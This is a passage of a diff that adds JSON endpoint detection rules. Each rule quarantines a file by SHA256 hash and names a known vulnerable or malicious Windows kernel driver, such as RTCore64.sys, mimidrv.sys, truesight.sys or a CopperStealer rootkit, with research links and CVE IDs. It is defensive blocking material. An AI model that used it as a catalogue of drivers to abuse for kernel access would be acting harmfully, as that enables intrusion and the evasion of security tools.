+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0924a07f-49fa-5aa8-ac72-8adb0447f984",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820030Z",
+  "creation_date": "2026-03-23T11:45:30.820032Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2affa6b703f0491a44d6b7b09dfab83b36ac06979810665aaf7dd2913964c44d",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "092bf522-64cf-58d7-9ec6-21bd8a63ff22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454182Z",
+  "creation_date": "2026-03-23T11:45:30.454186Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "75e539170a00e447842a85441be36dc9e1fa81a3f6386806f3d90e7b4cca1ac1",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "093050fb-e014-5b6c-bc7a-eaec7e6d2bed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459680Z",
+  "creation_date": "2026-03-23T11:45:30.459684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2096b460e31451659b0dde752264c362f47254c8191930bc921ff16a4311641",
+  "comment": "Vulnerable Kernel Driver (aka viragt.sys) [https://www.loldrivers.io/drivers/39742f99-2180-46d7-8538-56667c935cc3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0937fde1-6c10-563d-8c36-b9fe95661faa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605043Z",
+  "creation_date": "2026-03-23T11:45:29.605045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605051Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a34c260e59a33c93b89417344f943a2d1dfb0006359a6fc946a41d0e9d36a55",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "094374ed-37c6-5e53-82f1-8197905cdc0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977261Z",
+  "creation_date": "2026-03-23T11:45:29.977263Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977268Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5",
+  "comment": "Malicious CopperStealer Rootkit (aka windbg.sys) [https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0945e067-efd2-589b-b659-84177636ba9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615031Z",
+  "creation_date": "2026-03-23T11:45:29.615033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f088b2ba27dacd5c28f8ee428f1350dca4bc7c6606309c287c801b2e1da1a53d",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0954e921-cad3-5e67-bbe4-f4eb3688a90c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490102Z",
+  "creation_date": "2026-03-23T11:45:31.490104Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490110Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f3f1ffc8021b028288ce44c4f5cf948538587f3c8150de34c2685f487ce184c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "098bf438-d172-56b8-bc7f-88b7a2bd2f52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828601Z",
+  "creation_date": "2026-03-23T11:45:31.828603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828608Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9337b3565c8221513bddfa2454c6657438b42231b0482a9fc7d8f16b0ecd25f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0991e203-e53b-56b3-8788-ebd56ca7696e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156921Z",
+  "creation_date": "2026-03-23T11:45:31.156923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156929Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "322d5a01c73af710e2ffabdb1622201b55025ea106b8c876ffc9b4bda156ff58",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "099233ba-9eb3-5001-a197-f2d85d26ec98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832549Z",
+  "creation_date": "2026-03-23T11:45:30.832551Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832557Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18bc25605b2b6fc7195a7606a7ca6a22002e5e6ce7b864e33b08256fa3cfc0f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0998903c-fe2c-51af-9b1a-d6b598b200ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970837Z",
+  "creation_date": "2026-03-23T11:45:29.970840Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970848Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0713a541b70f58bbcd1807c69ae855e9ce041b807e34978df6c1e9357c53acef",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "099b45a0-daf7-5809-8286-0a614edf0f89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460379Z",
+  "creation_date": "2026-03-23T11:45:30.460382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460391Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e10d3c73596e359462dc6bfcb886768486ff59e158f0f872d23c5e9a2f7c168",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09a0762e-2166-5697-845e-bef85c448ffc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475769Z",
+  "creation_date": "2026-03-23T11:45:30.475772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475781Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a2d32c28eb5945b85872697d7cfbe87813c09a0e1be28611563755f68b9cb88b",
+  "comment": "Malicious Kernel Driver (aka 6771b13a53b9c7449d4891e427735ea2.sys) [https://www.loldrivers.io/drivers/ddca6daf-4932-4e82-ad3c-d92d47632ea4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09a35e83-2f7a-509d-aaad-9a6dc1a143d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143485Z",
+  "creation_date": "2026-03-23T11:45:32.143487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cb429e6daaba89111d2edb3e01ef1d8ac9b90813b9d80292fe8050287a63146",
+  "comment": "Vulnerable Kernel Driver (aka wsdkd.sys) [https://www.loldrivers.io/drivers/a8f2da2a-369c-4b4d-9a00-d7a892b9f7c3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09a9b916-bd7b-5052-af92-0252a6b02915",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829324Z",
+  "creation_date": "2026-03-23T11:45:30.829326Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4213c339e98d7f0f363dcfc282b8bac31c67870f7d877a6c7215dc2119660fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09b0c853-85bf-54cd-a518-6abb579425f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621564Z",
+  "creation_date": "2026-03-23T11:45:29.621566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e3b0b8d3e430074109d85729201d7c34bc5b918c0bcb9f64ce88c5e37e1a456",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09c2585e-54b7-5a6d-9c74-43e356a1f07d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491007Z",
+  "creation_date": "2026-03-23T11:45:31.491010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afa9b3a1cb40dce9b9b524a72376159f9defcb47f29330afccec9bfb616227d8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09d1c951-b169-5cb7-b910-d7dda62c52fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608579Z",
+  "creation_date": "2026-03-23T11:45:29.608581Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608586Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6b082a294c1a85bf69a3f4a7e20536291372b53569bd562f1008eb5cf7228cd",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09dc31e7-127d-586f-a47d-53c043066582",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146222Z",
+  "creation_date": "2026-03-23T11:45:31.146224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "febbb87b9c9081515f8b70e7bbd1f22ea0ec89f5cf5e2f0dc2e129fa48126130",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09f49d45-0a9c-509f-a709-1a9f3e9d96ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154840Z",
+  "creation_date": "2026-03-23T11:45:31.154842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154847Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6607075c558ba471c6678c1bca63a601cfc8319f6ed99d21fefe37467670097",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "09f60b6a-f763-592b-afee-9c74aa2881fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495904Z",
+  "creation_date": "2026-03-23T11:45:31.495906Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495911Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ce9c1e9b1126e80b0aa0705ee7ab85052b9397601ad7f9c1c83dff3819caeff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a0dc9c4-e3f7-5852-898a-c7b6d202e4a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617971Z",
+  "creation_date": "2026-03-23T11:45:29.617973Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617979Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20dd9542d30174585f2623642c7fbbda84e2347e4365e804e3f3d81f530c4ece",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0a1a2d59-132b-5c6b-824f-139e92303293",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
